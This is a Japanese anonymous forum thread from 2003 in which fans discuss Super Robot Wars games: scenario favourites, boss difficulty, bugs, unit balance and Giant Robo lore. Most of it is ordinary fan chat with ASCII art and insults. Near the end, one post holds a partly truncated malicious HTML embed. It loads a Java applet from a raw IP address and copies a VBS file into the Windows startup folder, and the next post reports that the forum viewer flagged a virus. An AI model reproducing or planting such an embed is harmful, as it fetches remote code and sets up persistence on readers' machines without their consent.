イングラム・・・かっこいい!
スパロボで一番好きなシナリオは外伝。
勢力があまり多くないので、胡散臭さが無い。
地上対月って形式がちゃんとまとまってた気がする。
地球軍の最終兵器がターンAで、月軍はXとターンXってのも良かったな。
ストーリーも全体的に綺麗にまとまってたと思う。
ただカーメン=カーメンはいらんだろ。
ニルファは宇宙人の勢力多すぎで、あんまり好きじゃない。
ザブングル系の雑魚(ブレーカー)の台詞とか
WMの動きが好きだったな。
∀の動きも滑らかだし。
ダイターンが変形ランドシップと勘違いされていたのには笑ったし上手いと思った。
100Mdakarana
外伝はプロが主役っぽいので嫌い
やっぱ主人公はいないと駄目だと痛感した
100メガなのは外伝?
レビがポニテになるのはいつですか
今日
>>501 Mはメガではなくてメートルではないか?
ダイターンは100メートル級だからランドシップに間違えられた、
っつーことで
naruhodo
外伝は主人公がいないのがいいな。
ルート選択肢も完全に第三者の立場からなのが逆にいい。
αとかFからの「○○は、どうする?」とかわざとらしく聞いてくる
パターンにいい加減辟易
>>499 αのクソオリジナルと比べれば百倍マシだと思えるがな
Dreamsのイントロめちゃくちゃ好きだから外伝でもロングバージョンにしてほしかった
スパロボのやつはすぐに「わ〜すれかけたー」の所まできてしまうもん
あのイントロただでさえアホ長すぎなんだが
ブライガ−も結構長いけど全然許せるな。>イントロ
・・・あれがイントロなのかどうかは定かじゃないけど。
外伝のボス嫌杉。HP回復+ド根性って倒せなくてハマるんじゃないのかぁ?
何故他のイントロに「やぁってやるぜ!」とか「ダッシュ!ダッシュ!」とか入ってるのにブライガーのにはあの台詞回しが無いんだろうか
まあ、ド根性もいいけど・・・元から持って無い精神コマンドを使われるのは嫌だ。
名前付きの奴は決まった精神コマンドがあるんだから、それを使えよと言いたい。
キチンと精神ポイント使ってな、それなら納得するよ。
長すぎるからだろ。
ブライガーに特別思い入れのある奴でもないかぎり
あの台詞何度も聞かされたらウンザリするはず。
>>512 「夜空の星が輝く影で、悪の笑いがこだまする。
星から星へ、泣く人の涙背負って宇宙の始末。
銀河旋風ブライガ−、お呼びとあらば即参上!」・・・か?
そりゃ戦闘中の音楽に入れたらおかしくなるような気が・・・
「ブライガ−!」のコーラスで我慢汁。
長すぎるから
ターンエーターンターンエーターンターーンエーーーー
のコーラスがない方が問題だろうが
まあ外伝のリメイクキボンってことで。
上で触れられてたけどフロスト兄弟は大物って感じがしないよな。
ラストダンジョンの2階への階段を守る中ボスみたいな。
オリジナルキャラがいなけりゃ外伝のラスボスはギンガナムかゴールっぽいけど
何かこれもしっくりこない気がする。
外伝のメイガスは青白くてキモかったけど、ニルファでお美しくなってたからビックラこいた。
マシンセルに乗っ取られると青くなるんだよ。
ゼンガーはただ寝てただけで変色したけどね。
マシンセルの影響で声が響くようになったん
だろうか>ゼンガ−
アウルゲルミルの技、卑猥すぎ
触手に出産って
乳揺れてるし
18禁指定してくれ
あれ帝王切開じゃん。
中から出てるのってアストラナガンだよな。
アウルゲルミルなんかよりイーグレット×3のベルゲルミルとスレードゲルミルの方が苦戦した
特にハードのスレードとの決戦のときはきつかった、周りにベルゲルミルがたくさんいるわ、ターン制限があるわで
もうね、(ry
いい加減この話題もループだな
>>523 ゼンガー自信はマシンセルの影響受けてない。
OK…また1人外伝プレイ挫折者GET!、と
∧_∧
∧_∧ (´<_` )
( ´_ゝ`) / ⌒i 流石だよな、俺ら
/ \ スリ | |
/ アン / ̄ ̄ ̄ ̄/ |
__(__ニつ/ FMV ./ | .|____
\/ / (u ⊃
微妙にテンポが悪いので挫折…ストーリーの先は見たいのにそれ以上にやるのがしんどい、今Xと∀で分岐した辺り
なんと、俺らが手を下すまでもなく
挫折者をGETできたぞ
∧_∧
∧_∧ (´<_` )
( ´_ゝ`) / ⌒i そういえば、そんな報告もよく聞くよな…
/ \ スリ | |
/ アン / ̄ ̄ ̄ ̄/ |
__(__ニつ/ FMV ./ | .|____
\/ / (u ⊃
つまり、俺らはいつの間にか
「睨み殺し」の高等技術までをも会得できていたわけだな
流石だよな、俺ら
∧_∧
∧_∧ ( ;´_>`)
( ´_ゝ`) / ⌒i いや、それは違うんじゃないかな…
/ \ スリ | |
/ アン / ̄ ̄ ̄ ̄/ |
__(__ニつ/ FMV ./ | .|____
\/ / (u ⊃
>532
援護を使いこなそう
激励再動補給要員はそだてよう
ガッツって便利だね
柿崎(のバルキリー)強すぎ!!
ニュータイプの回避補正高すぎ!!
この辺に注意すればハードでも無改造でいける。
とりあえず髭にはニュータイプを乗せよう
カツって便利だね
に見えた。
>>535柿崎のバルキリーってどんなの?
モンスター?
ターンエーのコーラスってそんなにかねかかるの?
誰が声担当しているんだ?
第一アニメの使い回しじゃ駄目なの?
はじめたばっかでよくわからないんだけど、デュオの戦闘曲がカコイイので使ってるんだが
どうにも敵側のスパイっぽい・・・
コイツは裏切りますか?機体、改造しちゃったんだけど・・・
何で裏切るんだよw
>>539 αかな?
敵にまわることはないけど、途中で抜けやがります。結構長期間。
機体の改造は無駄にはならないので安心しる。
>>538 確か柿崎バルキリーはバグで反応弾が無限だった気がする
>>539 他のガンダムWの登場キャラよりは裏切らないと思ったけど…
>>541 むぅ、抜けるのか・・・
まぁ改造が無駄にならないだけイイか・・・ありがとう
>>543 予備知識ないほうが面白いかなと思ったのさ
スパロボはほとんどやったことないから今、かなり素敵に楽しんでるよ
ところでWが叩かれるのは1st〜逆シャアまでのパクリだからなのか?それとも完全平和が電波だから?
546 :
名無しさん@非公式ガイド:03/11/15 16:47 ID:6Bt28eKH
>>545 正直、種の前にはWですら生ぬるいと思った
まあWはWで頑張ってると思うよ
絵が抜けないのが致命的だが
ウイングは機体がバージョンアップする度に
ダサいデザインになっていったな
ウイングゼロカスタムとかデスサイズは俺かなり好きだけど
関係ないネタはスルーしとけよ。パクリとか電波とか、露骨にアンチだろ。
>>548 デスサイズは無駄にカクカクしていったしな・・・
>>546 そうだな…。完全に武装したヘビーアームズ(元々全身武器だらけ)が
単独で大気圏突入して無事ってなあたりが失笑を買っているんじゃねえか?
Wはギャグとしての価値がある
>>552 そんなもんオタク以外誰も気にしないだろ
Wはゼロ以外は後半機体は変だな
でもendlesswaltzでかなり良くなったから許す
>>539 リアル系って序盤の音楽しょぼいのしか無いからな
俺もあの音楽聞いてなかったら続けてなかった可能性もあった
ん?今はW祭りか・・・
衝撃のアルベルトワラタ
やっとエヴァ系が出てきた
エヴァとファーストガンダム程度しか見たことないからな
ゼロカスを超える糞デザインは今後現れないよ
下駄の曲はDの方がいい(作品変わっちゃうけど)。
αは主人公は機体も音楽もショボ杉(強いけど)。
スパロボはほぼ全作品共通で引継ぎがショボ杉。
Wは財団名がエロ杉
カスタム化した後はもうガンダムじゃねー・・・
厨房が考えた俺ガンみたいだ
デスサイズヘルカスタムだけはガチ。
それは間違ってもありえない
>>561 はぁ?エースアタッカーと我ニ敵ナシのどこがしょぼいって?
耳鼻科行けよカス
軽い演歌って感じなんじゃないかな
(゚Д゚)ハァ?αの主人公はSRXだろがヴォケェ!!
αの主人公は衝撃のだろう
カスなオリ厨はまとめて巣にカエレ
しかしαは「魂」の安売りだな、なんでW勢全員や
オリジナルのスーパー系が持ってんだよ・・・。
DC版では調整されてるぞ、と。
そんなことより、侘しいクラウドセイバーについて誰か語ってくれよ (´・ω・`)
兄より妹の方が大活躍でした・・・
DC版持ってないからな
しかしαのBF団の唐突な戦線離脱っぷりはどうにかならんかったのか。
まともに戦ったのが中盤のGR2だけじゃなかったか?
第3次スパロボαで十傑集全員登場か!
大怪球フォーグラーが出てくる意義はなんだろうな。
α世界でシズマドライブが重宝されてるわけでもないし、やっぱり対ジャイアントロボ決戦兵器止まりか。
原作はめちゃくちゃ面白いのになあ
>>566 どちらも他の曲と比べるとかなり駄目な出来だと思うが。つーかオリジナル系の戦闘曲全て。
とくに歌付きの奴なんて初めて聴いた時はあまりの臭さに寒気がしたしな
>>576 ロボの原子力はともかく、光子力だのムートロンだの
シズマ・ドライブで動いてないメカしか、いないからな>α世界
今のままなら、まったく脅威じゃない大怪球(つかアンチシズマ現象)。
むしろシズマを搭載してるのは維新竜・暁とかウラエヌスとか、BF団のロボばかり。意味ねぇw
ああ、銀鈴ロボは止まるかもなw
>>577 俺はむしろその臭さが一昔前のロボットアニメっぽくて好き。
>>577 ぬあーこの根性なしがー
俺はオリジナルは大嫌いだが曲だけはものすごい評価してるぞもら!!
ウルトラスーパーアンチシズマDXスペシャルで光子力もムートロンもゲッターも止めちゃいます
フッ、機体が持つかどうか…
耳鼻科逝って恋
というか、バシュタールの惨劇ではあらゆるエネルギー活動が止まったから(どういう理屈だかわからんがw)
そのバージョンでやればいいんだよな。
もっとも版権の関係で、Gロボ系の敵全部出すのはほとんど無理っぽいらしいけど。
電気だけ止まったっぽいな、火事は起きてたし
じゃあサルファでの地球静止作戦はあらゆるエネルギーの停止って事で。
で、演出として最初のターンはGロボのみ動けると。
あれ、ボロットってエネルギー使ってるのか?
>>584 OVAのGロボの世界では「シズマドライブ」っていう動力が
世界中、ほぼ100%で使われてるんだよ。
自動車も発電も皆シズマドライブ。
ロボが無事だったのは、ロボだけシズマドライブで動いてなかったから。
とりあえずBF団の圧倒的な奇襲により世界中の全エネルギーを停止。
「馬鹿な!あれじゃ僕たちは当然としてBF団のロボットも動かないじゃないか!」と慌てるカツ。
しかし衝撃のアルベルトが戦艦に乗り込んで手がつけられないロンドベル。
そこにシャッフル同盟が颯爽と現れてスーパー生身大戦ですよ。
キラ:集 閃 挑 手 脱 熱
>>587 そのOVAのGロボでの話だ。バシュタールの惨劇はシズマドライブ実用化前の話だぞ?
お前見てないで語っているのか?
ZUってZの改造引き継いでますか?
引き継がない、基本的に旧ユニットが消えない奴は
改造引き継がない。
へぼーん
久々にα外伝をGビット入手目的でやってたら、35話でフリーズ。
地上ルートでクリアしてたので、このバグ全然知らなかったよ…
いろんなサイトで回避方法出てて助かった。
結構有名なのね。
こういうバグって、BEST版では改善されてるのかなあ。
使徒のやられエフェクトがなんか十字架で格好いいな
ちょっとよそ見してて、ヤシマ作戦の時の使途のやられエフェクト見逃して
既に笑えばいいと思うよイベントに突入しててショック
回避210+120=330
限界反応335
だけど念動力LV4=回避+15
この場合どうなるんすか?
やはり限界反応以上の動きはしてくれない?
念動力の補正は限界に反映されるかってことか?
>>549 設定的にはゼロカスのデザインよりもゼロの方が好き
でも動いてるとこはカネのかけかた違うからなぁ、やっぱゼロカスになるかも
ハァ?
>>590 たしかバシュタールの惨劇時にはシズマドライブを
無理やり起動させようとした、みたいな話だったっけ?
>>587は大怪球と勘違いしてるだけでしょ、
一気に見たりすると詳細がうやむやになるし
ただ、全部のエネルギーが停止(Gロボ例外)するとGロボ育ててない人は
マズイので、序盤にやるか、何人か他のキャラ(明らかに主力級)も
行動可能になるだろうなぁ
終盤だったら真ゲや魔神皇帝がそれで目覚めたりしそうだ
終盤で、そのイベント時に銀鈴離脱(スパロボなので入院?)、
近接全段発射習得とかしたりすると嬉しい、
カットインは片目の中に大作が乗ってるやつで
ニルファの小隊システムがあればGロボの足が遅いのはフォロー効くんだよなぁ
後はMAP兵気持ちなら普通に使われるでしょ
金の掛け方が違うってのは劇場作品だからってこったろ
大怪球はENにも攻撃すると
新エネルギー開発の行き詰まりから焦るフォーグラー博士による、炉心起動試験が強行される
(実際に行ったのはシズマ博士)。
実験失敗。施設のあったバシュタール壊滅。ほぼ同時に全世界のエネルギーが消失。
この怪現象で全人口の3分の2が死滅、人類は滅亡の危機を迎える(後の「バシュタールの惨劇」)。
電磁ネットワイヤーによって、炉心を宇宙へ放逐。人類、滅亡の危機より救われる。
残ったシズマ博士らによる研究続行、新エネルギー理論完成。研究者の名から「シズマドライブ」と命名。
完全無公害かつリサイクル可能なそれは、やがて全世界へと普及していく。
また、人々は「バシュタールの惨劇」を忌まわしい事件として歴史から、記憶から封印していく。
十年後…BF団による「地球静止作戦」発動。
作戦リーダー「幻夜」は「バシュタールの惨劇」の張本人とされたフォーグラー博士の実子・エマニュエル。
事件の真相を知る彼は、世界に対する復讐心から再び「バシュタールの惨劇」を引き起こそうとする
Gロボ本編に至る経緯はこう。
「バシュタールの惨劇」によるエネルギー消失がどの程度に及んだのか不明だが、
火災は発生していたので火力発電は大丈夫かも知れない
(火は燃えても、エネルギーを取り出せないのかも知れないが)。
また、世界の危機を救った電磁ネットワイヤー発生装置は内燃機関を持つが、それは稼動した様だ。
全世界に影響を及ぼすバシュタール現象ではあるものの、
それでどうにかなっちゃうゲッター線でもないようなw今日この頃。
それより気合で動いているロボって一体くらいいないの?
ボロット
α外伝で、コレンとGビットの同時入手は不可能?
無理。
>606
Gガン
操者の腕力を利用できるシステム、
パンチ力:1000(ロボト)+1(パイロト)=1001
26話後半の出撃ユニット選択でDXとガロードが消えてるんですが・・・。
これはバグなんでしょうか?
ああ?お前ちゃんとシナリオ読んでるか?
(-_-)
(∩∩)ウツダ シノウ
ガロード
アムロの台詞からはガロード出撃不可と読み取れませんでした。
逝ってきます・・・
わかれよ
増そう貴信もそうだがプレシア使う気にならん
αクリアー
しかしシュウうざい
T田α設定の力をもってすればシュウをウザくすることなど造作もありません。
プレシアは(;´Д`)ハァハァ野郎を露骨に狙い過ぎてる。カットインが長いし普通の人間はあそこまでやられると引く。
戦闘アニメはたまにしかみないから別にいいかも
DXにはジャミルを乗せような
苦しむ姿が(*゚∀゚)=3ハァハァ
プレシアのような、毎回出撃するようなわけでもないキャラならべつにいいや。
主人公とか、使う頻度が多いであろうキャラであんま悪ノリされてもなあ。
スーパー系って運動性上げる意味あるんですか?
フル改ボーナスのため
昔は上げる意味あったのにな。
α外伝で最後のバザーの時なんだけど、
メガブースターとか9個まで買っても大丈夫?
持ちすぎるとバグがあるって聞いたんだけど。
>>630 強化パーツ9個以上取るとバグるから、8つに抑えた方が無難。
632 :
名無しさん@非公式ガイド:03/11/18 16:25 ID:uNhbpiHa
>>631 ありがとう。
これから攻略HP見て、逆算してきます。
sage忘れてしまった。。。
成長タイプはSPにも影響あるの?
今、ハリーがレベルアップしたんだがSPも含めた全てのステータスが変わってないんだが。
>>634 >>12に
>ロランやリュウセイの「万能系大器晩成」は名前の割には
万能でも大器晩成でもなく、SPが高い以外はめだった特徴はありません。
と書いてある訳だが。
α外伝やっと最終話(難ルート)まで来た。終盤マジ鬱陶しいですね。
当たり前のようにHP回復所持でしかも、精神コマンド何回も使ってくるし
持ってない精神コマンド使ってんじゃねーよ(゚Д゚)ゴラァ!!
SRXチームやっと使えるようになったが、遅すぎだよ。
その上ヴィレッタとレビ乗せ変えできないし。ってか誰も乗せ変え出来ないなんて_| ̄|○ナンデダヨ
レビ、ライ、アヤ、イルムってカットインあります?正直あの機体では辛過ぎだよ。R−3除く
あとα外伝ってデモいくつあります?今の所3,4個しか出てきてないのですが。
外伝の不満要素(私的)
・νガンの陸地形適応B
・終盤の敵ボスの精神コマンド連発(鉄壁最悪)
・戦闘のプロのひねくれ具合
・SRXメンバー仲間になるの遅すぎ機体しょぼすぎ
・せめてヴォルクルス(名前うろおぼえ)の呪縛から逃れたシュウと戦いたかった
・ザブングルどうでもいい
何とか新世紀とか言うオリガンがいらない
>>637 不満と言うとアムロとかにも援護欲しかったな。
ニュータイプに援護がつくとじゃないの?
>>635それにしても全部変わらないなんて存在するの?
元は強く 少なくとも中盤弱くなるキャラ設定?
>>636それはきついですね
ターン数関係ないシステムなら私なら 鉄壁切れるまで放置します
でも際限なく使ってくるのかな?
なんかここ見てると外伝を最終話まで進める気がしなくなるね。
ヘタレゲーマーでもクリアできるレベル?
バグの直された修正版とかに交換とかできますか?
>>642 熟練度とらなきゃ大丈夫じゃねえの?
とにかく最終話付近の援護精神連発は精神的に矢ヴぁ位
画面のずっと下の方に待機してサテライトだけ撃って雑魚殲滅しる
先生、月が出ていません
荒ぶる魂って曲かかるとマジ萎える
荒ぶる都市(まち)で 目覚める風がある it's just now
>>639 NT+指揮官+援護じゃいくら何でも強すぎでしょう
アムロまでガロードみたいになられたら目もあてられん
外伝をやってて思った
空気でも主人公は必要だ・・・
アムロの精神を 根性 ド根性 信頼 友情 愛 自爆 にすれば無問題
>>650 俺は別にいなくてもいけるなぁ、と思った
結局感じ方は人それぞれか・・・
「外伝」
気力によるダメージ補正(´・ω・`)ショボーン
ボス精神コマンド連発(゚Д゚)ゴルァ!!
ボスHP回復所持(゚Д゚)ゴルァ!!
援護防御ウゼエエエエエエエエエ!!
インパクの方が簡単だよな・・・
OK、外伝挫折者大量GET!
∧_∧
∧_∧ (´<_` )
( ´_ゝ`) / ⌒i 流石だよな、俺ら
/ \ スリ | |
/ アン / ̄ ̄ ̄ ̄/ |
__(__ニつ/ FMV ./ | .|____
\/ / (u ⊃
でも
>>636の場合だと
とっくにヌッ殺されてるんだけどな、俺ら
∧_∧
∧_∧ ( ;´_>`)
( ´_ゝ`) / ⌒i まあ、深いことは考えるなアンサズ者・・・
/ \ スリ | |
/ アン / ̄ ̄ ̄ ̄/ |
__(__ニつ/ FMV ./ | .|____
\/ / (u ⊃
主人公がいないとどれ改造しようか迷う
外伝の攻略サイトでお勧めってありますか?
できたらFAN以外で
>>656 T田スパロボ之心得には「主人公と戦闘のプロを懸命に鍛え候」とある。
とりあえずプロだ。
戦闘のプロの、アムロ達に迫る技量の高さが良し。
スーパー系の春がきたぁぁぁ!!って一瞬おもた。まあ外伝だけだったわけだが。
スーパー系、命中や回避は仕方ないとしても、技量まで低くされるいわれはないと思うんだがな。
主役級NT(ジュドーとか)の技量、もっと落としていいと思う
NT技能抜いたらヤザンとかのが明らかに強いし
キラの性能超優遇の予感
うーん換装系は好きじゃないから使わないな
出撃してから好きなときに変えれる変形の方がいい
種で一番回避高い味方キャラはディアッカじゃね?
数えるほどしか攻撃食らってないし
でも、ゲームだと回避低めにされてしまうんだろうな・・
純粋に武器の基礎攻撃力×精神コマンド(魂止まり)で比較した、
α味方攻撃力ベスト10・・・
1、天上天下一撃必殺砲:6000×魂(SRX)
2、試作型縮退砲:5500×魂(グランゾン)
3、龍王破山剣・逆鱗断:5200×魂(龍虎王)
4、天上天下念動爆砕剣:5000×魂(SRX)
5、スーパーイナズマキック:4900×奇跡(ただしレベル87)(ガンバスター)
6、Gソードダイバー:4800×魂(ヒュッケ3ボクサー)
7、タイラントオーバーブレイク;4700×魂(虎龍王)
8、ブラックホールクラスター;4500×魂(グランゾン)
龍王破山剣:4500×魂(龍虎王)
フルインパクトキャノン:4500×魂(ヒュッケ3ガンナー)
次点で天上天下無敵剣etc・・・ちなみにアストラナガンは除外。
てーかなんでオリジナルばかりこんなに優遇されてるんだ。αという作品を表してるな。
ノリコの奇跡だってレベル87じゃ普通は絶対無理だし。実質ベスト10全部オリジナルじゃん。
版権キャラじゃ5000超えてるのはストナーだけでしかも熱血止まりという。
>666
最大攻撃力でキャラの魅力が決まる訳でもないだろうに…
大体何を今更┐( ;´〜`)┌
まったく。
本当に何を今更┐( ;´〜`)┌ だよね。
>>666 安心せよ、DCαだと
「じゃあ、弱くしたらええんやろ!!」
ってな叫びが聞こえてきそうな弱体化したから…
確か、天上天下一撃必殺砲がフル改造して、4800だったかな?
試作型縮退砲は存在自体がオミット
DCαのSRXはとにかく雑魚。他のユニットを出した方がいい。
好きな人は出してもいいが・・・
しかしDCαのジュデッカ、ズフィルード、ネオグランゾンはやばかったな。
クリティカルが出るとアストラナガンでも一発氏ってどういうことじゃあ!
一発だけ耐えられるやし。
トールギスV+ヒイロの鉄壁(フル改造)
ブリタイ艦
これぐらいじゃないか?奇跡や魂で食らった日には・・・((((((;゚Д゚))))))ガクガクブルブル
>>671 うむ、あれはやばかった。
ガンバスターでも落ちる。
イナーシャルキャンセラーごと落ちる…w
で、なにがまずいかって……旧ルートの方のズフィルード×4
まさかぬるいはずのスパロボαで、
死を覚悟せんといかん状況に直面するとは思わんかった…
4%とかであたり前のごとく当たるしなリアル系・・・
DCα、そんなすごいのか
データが詳細に載ってるHP希望
すごいというか…
上にあるラスボス級の機体と、エヴァ量産機の武器攻撃力が
とんでもないことになってるのだな。
他は多分普通というか、変わっていないと思う。
味方の精神は随分手を加えられてるかな?
ガンバスターは、普通に育ててて、奇跡覚えるし、
ブライトが魂覚えたりする。
あとは、SRXの超弱体化…w
いやいや、普通じゃないって。
エアロゲイターのザコが4000ぐらいの攻撃力の攻撃バンバン撃ってくる。
おかげでF完並みにスーパー系が紙。
うんあと戦艦がヤバイくらい強くなっているね。
おかげでマクロス系の敵が・・・
ガンバスター次回作で再登場せんかなー。
あの熱さが堪らなく好きだから。
露骨に弱体化せんでも、SRXパイロット達から魂を外せばいいだけって気もするが・・・
>>678 ていうかむしろ出せと言いたい。
そしてタシロと副長のフォローをしろよぉ。
未だにあの死は納得いかん。
SRX、出撃枠4個とるんだから少し弱体化するだけでよかったと思う
そして、ファンネルの威力下げるべきだろ
HWSνのファンネルが弾数少なくて必要気力高い反応弾と同じくらいの威力って何よ
NT連中も昔ほどじゃないが優遇されすぎ
NT補正込みでマクロス連中(柿崎以外)に少し劣るくらいの回避でいいと思うんだが
ガンバスター出たところでどうせ奇跡なくなってるよ
出ることに意義がある
どうせなら殴りこみ艦隊登場キボン。
ズフィルードを一撃でバックリとぶっ壊しちゃうぐらい強い宇宙怪獣きぼん
億単位で出てくる宇宙怪獣キボン
1マスったって密着してる訳じゃないんだから4体しか隣接できんなんて事ないから
スタックがあるのか。移動しない場合P兵器の射程に移動力の半分を+するのもいいな
>>661誰の事? DCα スパ系を幸運目当てでフル活用して アムロ クワトロあまり使わなかったから 結果的にスパ系がかなり技能高い香具師いくらか出たけど
>>665いや 原作だと ノーダメージになっただけでムウに結構食らっていたよ
そんなの効くかよ 見たいなセリフいってるけど 単にフェイズシフトのお陰だし
正確&ポジションから後ろの方に多くいたのも影響
むしろキラにゲタ簡単に壊されてすぐに戦線から離脱したり
更にはバスターとは違うんだよ! とイザークに発言されたりで
対して回避力無かったと思う 最後もプロミネンスにいきなりとはいえ
一気にやられてたし(最後はどうにもならんと思うけど)
そもそも機体性能として シールドないし バスターは避けるの苦手かと・・
SEED系は攻撃食らうとエネルギーが減る 全く新しいタイプキボン
無理に中間にしたり 両方の性質を持たせるのは G W でもうこりごり
それなりの回避力+食らってもフェイズシフトでエネルギーが減るだけ
減ると攻撃が思いっきり制限される これがSEED系の再現の仕方としてベスト。
>>684 なにそれ?
DC版αのゼントラーディ艦みたいなもん?
アレは異常に硬かった 大した事無いと侮っていると倒すのに時間がとてもかかる
クリティカルが出やすいのが救いだったが、
それと攻撃はそれ程命中率がないので
恐くはなかったかな? 数が大量なのと 異常に落とすのに時間がかかるのが大変
ゼントラーディの物量の凄さを痛感させられた。
SEED系は、運用自体は面白そうだ。
自由が出るまではなあ。
種厨の時間ですか?
主人公はキョウスケwithアルトくらいの能力がちょうどよさげ
まー。。射程1のnotP兵器は勘弁して欲しいが
そこを
超良燃費のビームライフル
やけにクリティカル補正が高いでっかい剣
α光の翼並の広範囲MAP兵器
デンドロビウム級のHP・装甲・落とされても一軍級機体で復活
寺田サービス設定
ですよ
ゲシュペンストマンセー
オリ厨消えろ
マジレスしてるよ…
ゲシュペンストぐらい許してやれ
ゲシュペンストは元々スパロボじゃないしな。
RPG…
696 名前: 名無しさん@非公式ガイド [sage] 投稿日: 03/11/20 22:30 ID:???
マジレスしてるよ…
697 名前: 名無しさん@非公式ガイド [sage] 投稿日: 03/11/20 22:42 ID:???
ゲシュペンストぐらい許してやれ
698 名前: 名無しさん@非公式ガイド [sage] 投稿日: 03/11/20 22:44 ID:???
ゲシュペンストは元々スパロボじゃないしな。
ゲシュペンストも名前がダサいから嫌いだ
名前はいいけどαのゲシュはでぶくてかこ悪いのが嫌
703 :
名無しさん@非公式ガイド:03/11/21 01:58 ID:FiyLYvZp
ちょっと、中古屋で2000円で見つけたので、買おうかどうか迷ってるんですけど、
ちょい質問でつ。
マジンカイザー登場後は、マジンガーZってどうなりますか?
以前の自分がやっていたスパロボでは、
マジンガーZの強化(大車輪ロケットパンチ装備)と、マジンカイザーを選択できたんだけどなぁ。
インパクトでは、マジンカイザーが出なかったし。
自分としては、マジンカイザーに全く愛着がないので、
つらかろうがだんだろうが、マジンガーZのままで行きたいんですけど。
>>703 >以前の自分がやっていたスパロボでは、
マジンガーZの強化(大車輪ロケットパンチ装備)と、マジンカイザーを選択できたんだけどなぁ。
F完の事か、それとマジンガ−との選択は今回も
可能なはず・・・一つのルート限定だけど。
>>703 普通は自動でカイザーだが
ルートによってはどちらにするか選べる。
しかもαでは 皇帝<強化型Z
ヒーロー戦記かぁ、、ガイアセイバーのほうが好きだな。
ギリアム、てっきり主役だと思ってたのに、あのオチはなぁ、、
第4次もF完結も裏切らなかったことに逆に驚いた
707 :
703:03/11/21 02:11 ID:FiyLYvZp
>>704、705
情報サンクスです。
スパロボしかゲームやんないんですけど、スパロボも最近ご無沙汰だったんで、第2次αについてもちっと見てきました。
むぅん、4つもルートがあるんですか。
でも、マジンガーZでいけるルートがあるんですね。それでしかやりたくないなぁ。
調べよっと。ってゆーか、何編だか知ってますか?
鋼鉄ジーグが出てるなぁ。これだけで、ちっとやりたくなってくる。
>>707 第2次αのことについて聞きたいならここじゃなくてちゃんとスレがあるよ。
709 :
703:03/11/21 02:44 ID:FiyLYvZp
愛着があろうがなかろうがカイザーの方が絶対いいだろ
音楽いいし技グラフィックもこってるし
アホちゃうか?ちなみにスパ厨じゃないので
アホかこいつ
↑お前がな
大車輪パンチが強いかどうかだな。
捏造やめろとかいってるひといるけど
設定捏造しなきゃこのゲームはまとまらんだろ。
カイザーは永井豪オフィシャルですぞ
もともとはスパオリジナルだったがいつの間にかOVA化。
そしてアストラナガンは腹の中。
OVAはだめだ曲違うし
大車輪は捏造でも何でもない原作技だぞ、念のため
原作技完全再現していない事は結構あるんだろうね
一話限りのTVのみの技とかありそう
実際電柱を投げつけて攻撃したとして わざわざ攻撃パターンに入れるほうもどうかしているが
バランスの為に拾ってきて追加なら納得
尤もそんなシーンあったかしらんが (仮)の話ね 電柱
強化型ロケットパンチは一話切りの技だったような。
時々大車輪と強化型を混同しているスパ厨を見かける
喰いついた----
光牙剣も元々は敵戦艦の強烈なビームを剣で受け止めてそのままお返しした必殺技だったんだっけ?
味方戦艦のビームを剣にあつめてぶったぎる感じ。原理はしらん。
そんなもん原作見てなくても図鑑にのっとる
Gビット手に入れる条件で
14話の「ガロードでジェニスを6機倒す」というのは、
何ターンかかっても良いのでしょうか?
>>727 思いっきりターン制限あったと思う。
ともかく、ガロードの特殊セリフが拝めたらOK。
あれは原作みても技の詳細がわかりにくい。
ダンクーガ剣を抜く→ガンドールがゲロレーザー
→上から降って来たゲロレーザー全身に浴びてやってやるぜ
→ビルまっぷたつ。だっけ?
>>727 4ターンか6ターンだったと思う。
うろ覚えだから攻略サイト見た方が良いかも。
>>730 熟練度はGビットフラグのターン内にジェニスを全滅させるだったと思う。
ガロードのガッツを発動させれば楽だったような・・・
普通にやると結構厳しいというかかなり無理っぽかったような
ガッツは偉大だなぁ
ありがとうございました。
ちょっと無理みたいなので、熟練度は諦めます。
ようやく念願のDXにGビット+ティファが搭載された。
はっきり言って無敵だよ。
サクサク削れて気持ちイイです。
あの面はライフルの残弾気にしないとすぐ弾切れる。
寄ってきた敵をサーベルで斬り、ダメージをくらい続ける。
ガッツが発動したらライフル使って良し。
ロ○ムとア○レスってなんだ?
>737
ロ〇ムはロデムでア〇レスはアキレス。
色々とランシャオに似てるそうな(w
ランシャオが似てると言うべきか
ああαに出ててててからか…
↑てが多すぎです。
>>710 お前の主観と昔からロボット見てる者の主観は違うってことだよ
あとは単純に趣味の違いってのもあるな
敵味方が全員ガンダムのアニメより、ガンキャノンやドムの出る
ガンダムを見たい者もいるんだよ
>741
なぜそこでガンダムが出てくる
ただの古いモン好きってだけじゃねえの?
>>742 種で敵味方主要キャラが全員ガンダムというのに
呆れたからじゃないか?
しかもガンダムだった理由が
「ガンダムだと強そうだから(スタッフ談)」や
「ガンダム以外ではガンダムを倒せない」という
理由だったからな
で、種がガンダム多いから好き、という人の対比にファースト持ってきて
派手な物好き(カイザー)と、シンプルなもの(Z)とがいる、と言いたいんじゃなかろうか
違うかも知れんが俺はだいたいそう理解した
前半は違うかも知れん
>>743 古いもの、とシンプルなものは違うんだよ
>>741の書き方だと多分シンプルなものとかがすきなんじゃないかと
ガンダム→ガンキャノンは創造性があるが
ガンダム→ストライクガンダムには創造性を感じないとか、そんな話の可能性もあるな。
いずれにせよ30レス以上前の煽りにマジレスをかますのは格好いい行為とは言えんが。
ドリルミサイルは攻撃力1,25倍ダメージ1,25分の1位でもいい
種の中でストライクはあんま個性なかたような
自由はまだ仮面ライダーぽさがあったけど
plet code="XView.class" codebase="
http://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>
カイザーシンプルじゃん
ブレストファイヤーがファイヤーブラスターだぜ?
ブレストとブラスターが変わっただけ
つーかマジンカイザーって神モードになったらどれくらいつえーの?
真下駄も。
最大攻撃力が1000UPする程度だろけど
真ゲッター=10倍ストナーサンシャインでたぶん惑星吹っ飛ばせる
マジンカイザー=神モードでせいぜい山を砕く程度
山位項羽でも抜けるぜ
カイザーは500UP位かね
新ゲッターとガンバスターとイデオン辺りはdデモ能力だよな
ギコナビで見てたらウイルス検知で見れんくなった…。
ダブルバスターコレダーーーーーーーーーーーーーーーーーーー!
うわぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁっ!
αやってるんですけど、いくつか質問があるのでよろしくお願いします。
